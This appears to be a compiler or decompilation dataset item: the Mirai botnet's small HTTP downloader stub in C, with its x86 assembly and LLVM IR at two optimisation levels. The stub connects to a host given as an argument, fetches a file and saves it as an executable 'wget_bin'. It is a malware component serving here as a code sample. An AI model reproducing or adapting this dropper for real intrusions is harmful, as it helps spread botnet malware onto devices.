#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */
typedef struct TYPE_2__ TYPE_1__;

/* Type definitions */
struct TYPE_2__ {
  int /*<<< orphan*/ s_addr;
};
struct sockaddr_in {
  int sin_port;
  TYPE_1__ sin_addr;
  int /*<<< orphan*/ sin_family;
};
typedef int /*<<< orphan*/ recvbuf;

/* Variables and functions */
int /*<<< orphan*/ AF_INET;
int O_CREAT;
int O_TRUNC;
int O_WRONLY;
int /*<<< orphan*/ SOCK_STREAM;
int /*<<< orphan*/ inet_addr(char *);
int strlen(char *);
int /*<<< orphan*/ x__exit(int);
int /*<<< orphan*/ xclose(int);
int xconnect(int, struct sockaddr_in *, int);
int xopen(char *, int, int);
int xread(int, char *, int);
int xsocket(int /*<<< orphan*/, int /*<<< orphan*/, int /*<<< orphan*/);
int /*<<< orphan*/ xwrite(int, char *, int);
int main(int argc, char **args) {
  char recvbuf[128];
  struct sockaddr_in addr;
  int sfd, ffd;
  unsigned int header_parser = 0;
  xwrite(1, "MIRAI\n", 6);
  addr.sin_family = AF_INET;
  addr.sin_port = (80);
  addr.sin_addr.s_addr = inet_addr(args[1]);
  ffd = xopen("wget_bin", O_WRONLY | O_CREAT | O_TRUNC, 0777);
  sfd = xsocket(AF_INET, SOCK_STREAM, 0);
  if (sfd == -1 || ffd == -1)
    x__exit(1);
  if (xconnect(sfd, &addr, sizeof(struct sockaddr_in)) == -1)
    x__exit(2);
  xwrite(sfd, "GET ", 4);
  xwrite(sfd, args[2], strlen(args[2]));
  xwrite(sfd, " HTTP/1.1\r\n", 11);
  xwrite(sfd, "Host: ", 6);
  xwrite(sfd, args[3], strlen(args[3]));
  xwrite(sfd, "\r\nConnection: close\r\n\r\n", 23);
  while (header_parser != 0x0d0a0d0a) {
    char ch;
    int ret = xread(sfd, &ch, 1);
    if (ret != 1)
      x__exit(4);
    header_parser = (header_parser << 8) | ch;
  }
  while (1) {
    int ret = xread(sfd, recvbuf, sizeof(recvbuf));
    if (ret <= 0)
      break;
    xwrite(ffd, recvbuf, ret);
  }
  xclose(sfd);
  xclose(ffd);
  xwrite(1, "FIN\n", 4);
  x__exit(5);
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0xe0,%rsp
movl   $0x0,-0x4(%rbp)
mov    %edi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
movl   $0x0,-0xac(%rbp)
mov    $0x1,%edi
lea    0xe41(%rip),%rsi
mov    $0x6,%edx
call   1040 <xwrite@plt>
mov    0x2e08(%rip),%rax
mov    (%rax),%eax
mov    %eax,-0x98(%rbp)
movl   $0x50,-0xa0(%rbp)
mov    -0x10(%rbp),%rax
mov    0x8(%rax),%rdi
call   1090 <inet_addr@plt>
mov    %eax,-0x9c(%rbp)
mov    0x2dbc(%rip),%rax
mov    (%rax),%esi
mov    0x2df3(%rip),%rax
or     (%rax),%esi
mov    0x2de2(%rip),%rax
or     (%rax),%esi
lea    0xdf0(%rip),%rdi
mov    $0x1ff,%edx
call   1080 <xopen@plt>
mov    %eax,-0xa8(%rbp)
mov    0x2daa(%rip),%rax
mov    (%rax),%edi
mov    0x2d91(%rip),%rax
mov    (%rax),%esi
xor    %edx,%edx
call   1060 <xsocket@plt>
mov    %eax,-0xa4(%rbp)
cmpl   $0xffffffff,-0xa4(%rbp)
je     1260 <main+0xd0>
cmpl   $0xffffffff,-0xa8(%rbp)
jne    126a <main+0xda>
mov    $0x1,%edi
call   10b0 <x__exit@plt>
mov    -0xa4(%rbp),%edi
lea    -0xa0(%rbp),%rsi
mov    $0xc,%edx
call   1030 <xconnect@plt>
cmp    $0xffffffff,%eax
jne    1294 <main+0x104>
mov    $0x2,%edi
call   10b0 <x__exit@plt>
mov    -0xa4(%rbp),%edi
lea    0xd6f(%rip),%rsi
mov    $0x4,%edx
call   1040 <xwrite@plt>
mov    -0xa4(%rbp),%eax
mov    %eax,-0xd4(%rbp)
mov    -0x10(%rbp),%rax
mov    0x10(%rax),%rax
mov    %rax,-0xd0(%rbp)
mov    -0x10(%rbp),%rax
mov    0x10(%rax),%rdi
call   1070 <strlen@plt>
mov    -0xd4(%rbp),%edi
mov    -0xd0(%rbp),%rsi
mov    %eax,%edx
call   1040 <xwrite@plt>
mov    -0xa4(%rbp),%edi
lea    0xd21(%rip),%rsi
mov    $0xb,%edx
call   1040 <xwrite@plt>
mov    -0xa4(%rbp),%edi
lea    0xd16(%rip),%rsi
mov    $0x6,%edx
call   1040 <xwrite@plt>
mov    -0xa4(%rbp),%eax
mov    %eax,-0xc4(%rbp)
mov    -0x10(%rbp),%rax
mov    0x18(%rax),%rax
mov    %rax,-0xc0(%rbp)
mov    -0x10(%rbp),%rax
mov    0x18(%rax),%rdi
call   1070 <strlen@plt>
mov    -0xc4(%rbp),%edi
mov    -0xc0(%rbp),%rsi
mov    %eax,%edx
call   1040 <xwrite@plt>
mov    -0xa4(%rbp),%edi
lea    0xcca(%rip),%rsi
mov    $0x17,%edx
call   1040 <xwrite@plt>
cmpl   $0xd0a0d0a,-0xac(%rbp)
0d 0a 0d
je     13c9 <main+0x239>
mov    -0xa4(%rbp),%edi
lea    -0xad(%rbp),%rsi
mov    $0x1,%edx
call   10a0 <xread@plt>
mov    %eax,-0xb4(%rbp)
cmpl   $0x1,-0xb4(%rbp)
je     13ac <main+0x21c>
mov    $0x4,%edi
call   10b0 <x__exit@plt>
mov    -0xac(%rbp),%eax
shl    $0x8,%eax
movsbl -0xad(%rbp),%ecx
or     %ecx,%eax
mov    %eax,-0xac(%rbp)
jmp    1368 <main+0x1d8>
jmp    13ce <main+0x23e>
mov    -0xa4(%rbp),%edi
lea    -0x90(%rbp),%rsi
mov    $0x80,%edx
call   10a0 <xread@plt>
mov    %eax,-0xb8(%rbp)
cmpl   $0x0,-0xb8(%rbp)
jg     13fd <main+0x26d>
jmp    141a <main+0x28a>
mov    -0xa8(%rbp),%edi
lea    -0x90(%rbp),%rsi
mov    -0xb8(%rbp),%edx
call   1040 <xwrite@plt>
jmp    13ce <main+0x23e>
mov    -0xa4(%rbp),%edi
call   1050 <xclose@plt>
mov    -0xa8(%rbp),%edi
call   1050 <xclose@plt>
mov    $0x1,%edi
lea    0xc04(%rip),%rsi
mov    $0x4,%edx
call   1040 <xwrite@plt>
mov    $0x5,%edi
call   10b0 <x__exit@plt>
mov    -0x4(%rbp),%eax
add    $0xe0,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rbp
push   %r15
push   %r14
push   %rbx
sub    $0x98,%rsp
mov    %rsi,%r14
lea    0xe59(%rip),%rsi
mov    $0x1,%edi
mov    $0x6,%edx
call   1040 <xwrite@plt>
mov    0x2e1b(%rip),%rbx
mov    (%rbx),%eax
mov    %eax,0x8(%rsp)
movl   $0x50,(%rsp)
mov    0x8(%r14),%rdi
call   1090 <inet_addr@plt>
mov    0x2dde(%rip),%rcx
mov    0x2e17(%rip),%rdx
mov    (%rdx),%esi
or     (%rcx),%esi
mov    %eax,0x4(%rsp)
mov    0x2e00(%rip),%rax
or     (%rax),%esi
lea    0xe0e(%rip),%rdi
mov    $0x1ff,%edx
call   1080 <xopen@plt>
mov    %eax,%r15d
mov    (%rbx),%edi
mov    0x2db9(%rip),%rax
mov    (%rax),%esi
xor    %edx,%edx
call   1060 <xsocket@plt>
mov    %eax,%ebp
cmp    $0xffffffff,%eax
je     1225 <main+0x95>
cmp    $0xffffffff,%r15d
jne    122f <main+0x9f>
mov    $0x1,%edi
call   10b0 <x__exit@plt>
mov    %rsp,%rsi
mov    %ebp,%edi
mov    $0xc,%edx
call   1030 <xconnect@plt>
cmp    $0xffffffff,%eax
jne    124d <main+0xbd>
mov    $0x2,%edi
call   10b0 <x__exit@plt>
lea    0xdbc(%rip),%rsi
mov    %ebp,%edi
mov    $0x4,%edx
call   1040 <xwrite@plt>
mov    0x10(%r14),%rbx
mov    %rbx,%rdi
call   1070 <strlen@plt>
mov    %ebp,%edi
mov    %rbx,%rsi
mov    %eax,%edx
call   1040 <xwrite@plt>
lea    0xd96(%rip),%rsi
mov    %ebp,%edi
mov    $0xb,%edx
call   1040 <xwrite@plt>
lea    0xd8f(%rip),%rsi
mov    %ebp,%edi
mov    $0x6,%edx
call   1040 <xwrite@plt>
mov    0x18(%r14),%rbx
mov    %rbx,%rdi
call   1070 <strlen@plt>
mov    %ebp,%edi
mov    %rbx,%rsi
mov    %eax,%edx
call   1040 <xwrite@plt>
lea    0xd6b(%rip),%rsi
mov    %ebp,%edi
mov    $0x17,%edx
call   1040 <xwrite@plt>
xor    %ebx,%ebx
lea    0x10(%rsp),%r14
jmp    12f2 <main+0x162>
cs nopw 0x0(%rax,%rax,1)
nopl   0x0(%rax)
shl    $0x8,%ebx
movsbl 0x10(%rsp),%eax
or     %eax,%ebx
cmp    $0xd0a0d0a,%ebx
je     1312 <main+0x182>
mov    %ebp,%edi
mov    %r14,%rsi
mov    $0x1,%edx
call   10a0 <xread@plt>
cmp    $0x1,%eax
je     12e0 <main+0x150>
mov    $0x4,%edi
call   10b0 <x__exit@plt>
jmp    12e0 <main+0x150>
lea    0x10(%rsp),%rsi
mov    %ebp,%edi
mov    $0x80,%edx
call   10a0 <xread@plt>
test   %eax,%eax
jle    1350 <main+0x1c0>
lea    0x10(%rsp),%rbx
nopl   0x0(%rax)
mov    %r15d,%edi
mov    %rbx,%rsi
mov    %eax,%edx
call   1040 <xwrite@plt>
mov    %ebp,%edi
mov    %rbx,%rsi
mov    $0x80,%edx
call   10a0 <xread@plt>
test   %eax,%eax
jg     1330 <main+0x1a0>
mov    %ebp,%edi
call   1050 <xclose@plt>
mov    %r15d,%edi
call   1050 <xclose@plt>
lea    0xcda(%rip),%rsi
mov    $0x1,%edi
mov    $0x4,%edx
call   1040 <xwrite@plt>
mov    $0x5,%edi
call   10b0 <x__exit@plt>
xor    %eax,%eax
add    $0x98,%rsp
pop    %rbx
pop    %r14
pop    %r15
pop    %rbp
ret

LLVM IR (-O0):
%struct.sockaddr_in = type { i32, %struct.TYPE_2__, i32 }
%struct.TYPE_2__ = type { i32 }
@.str = [7 x i8] c"MIRAI\0A\00"
@AF_INET = global i32 0
@.str.1 = [9 x i8] c"wget_bin\00"
@O_WRONLY = global i32 0
@O_CREAT = global i32 0
@O_TRUNC = global i32 0
@SOCK_STREAM = global i32 0
@.str.2 = [5 x i8] c"GET \00"
@.str.3 = [12 x i8] c" HTTP/1.1\0D\0A\00"
@.str.4 = [7 x i8] c"Host: \00"
@.str.5 = [24 x i8] c"\0D\0AConnection: close\0D\0A\0D\0A\00"
@.str.6 = [5 x i8] c"FIN\0A\00"
define i32 @main(i32 %0, i8** %1) {
%3 = alloca i32
%4 = alloca i32
%5 = alloca i8**
%6 = alloca [128 x i8]
%7 = alloca %struct.sockaddr_in
%8 = alloca i32
%9 = alloca i32
%10 = alloca i32
%11 = alloca i8
%12 = alloca i32
%13 = alloca i32
store i32 0, i32* %3
store i32 %0, i32* %4
store i8** %1, i8*** %5
store i32 0, i32* %10
%14 = call i32 @xwrite(i32 1, i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str, i64 0, i64 0), i32 6)
%15 = load i32, i32* @AF_INET
%16 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %7, i32 0, i32 2
store i32 %15, i32* %16
%17 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %7, i32 0, i32 0
store i32 80, i32* %17
%18 = load i8**, i8*** %5
%19 = getelementptr inbounds i8*, i8** %18, i64 1
%20 = load i8*, i8** %19
%21 = call i32 @inet_addr(i8* %20)
%22 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %7, i32 0, i32 1
%23 = getelementptr inbounds %struct.TYPE_2__, %struct.TYPE_2__* %22, i32 0, i32 0
store i32 %21, i32* %23
%24 = load i32, i32* @O_WRONLY
%25 = load i32, i32* @O_CREAT
%26 = or i32 %24, %25
%27 = load i32, i32* @O_TRUNC
%28 = or i32 %26, %27
%29 = call i32 @xopen(i8* getelementptr inbounds ([9 x i8], [9 x i8]* @.str.1, i64 0, i64 0), i32 %28, i32 511)
store i32 %29, i32* %9
%30 = load i32, i32* @AF_INET
%31 = load i32, i32* @SOCK_STREAM
%32 = call i32 @xsocket(i32 %30, i32 %31, i32 0)
store i32 %32, i32* %8
%33 = load i32, i32* %8
%34 = icmp eq i32 %33, -1
br i1 %34, label %38, label %35
35: ; preds = %2
%36 = load i32, i32* %9
%37 = icmp eq i32 %36, -1
br i1 %37, label %38, label %40
38: ; preds = %35, %2
%39 = call i32 @x__exit(i32 1)
br label %40
40: ; preds = %38, %35
%41 = load i32, i32* %8
%42 = call i32 @xconnect(i32 %41, %struct.sockaddr_in* %7, i32 12)
%43 = icmp eq i32 %42, -1
br i1 %43, label %44, label %46
44: ; preds = %40
%45 = call i32 @x__exit(i32 2)
br label %46
46: ; preds = %44, %40
%47 = load i32, i32* %8
%48 = call i32 @xwrite(i32 %47, i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str.2, i64 0, i64 0), i32 4)
%49 = load i32, i32* %8
%50 = load i8**, i8*** %5
%51 = getelementptr inbounds i8*, i8** %50, i64 2
%52 = load i8*, i8** %51
%53 = load i8**, i8*** %5
%54 = getelementptr inbounds i8*, i8** %53, i64 2
%55 = load i8*, i8** %54
%56 = call i32 @strlen(i8* %55)
%57 = call i32 @xwrite(i32 %49, i8* %52, i32 %56)
%58 = load i32, i32* %8
%59 = call i32 @xwrite(i32 %58, i8* getelementptr inbounds ([12 x i8], [12 x i8]* @.str.3, i64 0, i64 0), i32 11)
%60 = load i32, i32* %8
%61 = call i32 @xwrite(i32 %60, i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str.4, i64 0, i64 0), i32 6)
%62 = load i32, i32* %8
%63 = load i8**, i8*** %5
%64 = getelementptr inbounds i8*, i8** %63, i64 3
%65 = load i8*, i8** %64
%66 = load i8**, i8*** %5
%67 = getelementptr inbounds i8*, i8** %66, i64 3
%68 = load i8*, i8** %67
%69 = call i32 @strlen(i8* %68)
%70 = call i32 @xwrite(i32 %62, i8* %65, i32 %69)
%71 = load i32, i32* %8
%72 = call i32 @xwrite(i32 %71, i8* getelementptr inbounds ([24 x i8], [24 x i8]* @.str.5, i64 0, i64 0), i32 23)
br label %73
73: ; preds = %83, %46
%74 = load i32, i32* %10
%75 = icmp ne i32 %74, 218762506
br i1 %75, label %76, label %89
76: ; preds = %73
%77 = load i32, i32* %8
%78 = call i32 @xread(i32 %77, i8* %11, i32 1)
store i32 %78, i32* %12
%79 = load i32, i32* %12
%80 = icmp ne i32 %79, 1
br i1 %80, label %81, label %83
81: ; preds = %76
%82 = call i32 @x__exit(i32 4)
br label %83
83: ; preds = %81, %76
%84 = load i32, i32* %10
%85 = shl i32 %84, 8
%86 = load i8, i8* %11
%87 = sext i8 %86 to i32
%88 = or i32 %85, %87
store i32 %88, i32* %10
br label %73
89: ; preds = %73
br label %90
90: ; preds = %89, %97
%91 = load i32, i32* %8
%92 = getelementptr inbounds [128 x i8], [128 x i8]* %6, i64 0, i64 0
%93 = call i32 @xread(i32 %91, i8* %92, i32 128)
store i32 %93, i32* %13
%94 = load i32, i32* %13
%95 = icmp sle i32 %94, 0
br i1 %95, label %96, label %97
96: ; preds = %90
br label %102
97: ; preds = %90
%98 = load i32, i32* %9
%99 = getelementptr inbounds [128 x i8], [128 x i8]* %6, i64 0, i64 0
%100 = load i32, i32* %13
%101 = call i32 @xwrite(i32 %98, i8* %99, i32 %100)
br label %90
102: ; preds = %96
%103 = load i32, i32* %8
%104 = call i32 @xclose(i32 %103)
%105 = load i32, i32* %9
%106 = call i32 @xclose(i32 %105)
%107 = call i32 @xwrite(i32 1, i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str.6, i64 0, i64 0), i32 4)
%108 = call i32 @x__exit(i32 5)
%109 = load i32, i32* %3
ret i32 %109
}

LLVM IR (-O2):
%struct.sockaddr_in = type { i32, %struct.TYPE_2__, i32 }
%struct.TYPE_2__ = type { i32 }
@.str = [7 x i8] c"MIRAI\0A\00"
@AF_INET = global i32 0
@.str.1 = [9 x i8] c"wget_bin\00"
@O_WRONLY = global i32 0
@O_CREAT = global i32 0
@O_TRUNC = global i32 0
@SOCK_STREAM = global i32 0
@.str.2 = [5 x i8] c"GET \00"
@.str.3 = [12 x i8] c" HTTP/1.1\0D\0A\00"
@.str.4 = [7 x i8] c"Host: \00"
@.str.5 = [24 x i8] c"\0D\0AConnection: close\0D\0A\0D\0A\00"
@.str.6 = [5 x i8] c"FIN\0A\00"
define i32 @main(i32 %0, i8** nocapture %1) {
%3 = alloca [128 x i8]
%4 = alloca %struct.sockaddr_in
%5 = alloca i8
%6 = getelementptr inbounds [128 x i8], [128 x i8]* %3, i64 0, i64 0
%7 = bitcast %struct.sockaddr_in* %4 to i8*
%8 = tail call i32 @xwrite(i32 1, i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str, i64 0, i64 0), i32 6)
%9 = load i32, i32* @AF_INET
%10 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %4, i64 0, i32 2
store i32 %9, i32* %10
%11 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %4, i64 0, i32 0
store i32 80, i32* %11
%12 = getelementptr inbounds i8*, i8** %1, i64 1
%13 = load i8*, i8** %12
%14 = tail call i32 @inet_addr(i8* %13)
%15 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %4, i64 0, i32 1, i32 0
store i32 %14, i32* %15
%16 = load i32, i32* @O_WRONLY
%17 = load i32, i32* @O_CREAT
%18 = or i32 %17, %16
%19 = load i32, i32* @O_TRUNC
%20 = or i32 %18, %19
%21 = tail call i32 @xopen(i8* getelementptr inbounds ([9 x i8], [9 x i8]* @.str.1, i64 0, i64 0), i32 %20, i32 511)
%22 = load i32, i32* @AF_INET
%23 = load i32, i32* @SOCK_STREAM
%24 = tail call i32 @xsocket(i32 %22, i32 %23, i32 0)
%25 = icmp eq i32 %24, -1
%26 = icmp eq i32 %21, -1
%27 = select i1 %25, i1 true, i1 %26
br i1 %27, label %28, label %30
28: ; preds = %2
%29 = tail call i32 @x__exit(i32 1)
br label %30
30: ; preds = %2, %28
%31 = call i32 @xconnect(i32 %24, %struct.sockaddr_in* %4, i32 12)
%32 = icmp eq i32 %31, -1
br i1 %32, label %33, label %35
33: ; preds = %30
%34 = call i32 @x__exit(i32 2)
br label %35
35: ; preds = %33, %30
%36 = call i32 @xwrite(i32 %24, i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str.2, i64 0, i64 0), i32 4)
%37 = getelementptr inbounds i8*, i8** %1, i64 2
%38 = load i8*, i8** %37
%39 = call i32 @strlen(i8* %38)
%40 = call i32 @xwrite(i32 %24, i8* %38, i32 %39)
%41 = call i32 @xwrite(i32 %24, i8* getelementptr inbounds ([12 x i8], [12 x i8]* @.str.3, i64 0, i64 0), i32 11)
%42 = call i32 @xwrite(i32 %24, i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str.4, i64 0, i64 0), i32 6)
%43 = getelementptr inbounds i8*, i8** %1, i64 3
%44 = load i8*, i8** %43
%45 = call i32 @strlen(i8* %44)
%46 = call i32 @xwrite(i32 %24, i8* %44, i32 %45)
%47 = call i32 @xwrite(i32 %24, i8* getelementptr inbounds ([24 x i8], [24 x i8]* @.str.5, i64 0, i64 0), i32 23)
br label %51
48: ; preds = %57
%49 = call i32 @xread(i32 %24, i8* %6, i32 128)
%50 = icmp slt i32 %49, 1
br i1 %50, label %68, label %63
51: ; preds = %35, %57
%52 = phi i32 [ 0, %35 ], [ %61, %57 ]
%53 = call i32 @xread(i32 %24, i8* %5, i32 1)
%54 = icmp eq i32 %53, 1
br i1 %54, label %57, label %55
55: ; preds = %51
%56 = call i32 @x__exit(i32 4)
br label %57
57: ; preds = %55, %51
%58 = shl i32 %52, 8
%59 = load i8, i8* %5
%60 = sext i8 %59 to i32
%61 = or i32 %58, %60
%62 = icmp eq i32 %61, 218762506
br i1 %62, label %48, label %51
63: ; preds = %48, %63
%64 = phi i32 [ %66, %63 ], [ %49, %48 ]
%65 = call i32 @xwrite(i32 %21, i8* %6, i32 %64)
%66 = call i32 @xread(i32 %24, i8* %6, i32 128)
%67 = icmp slt i32 %66, 1
br i1 %67, label %68, label %63
68: ; preds = %63, %48
%69 = call i32 @xclose(i32 %24)
%70 = call i32 @xclose(i32 %21)
%71 = call i32 @xwrite(i32 1, i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str.6, i64 0, i64 0), i32 4)
%72 = call i32 @x__exit(i32 5)
ret i32 0
}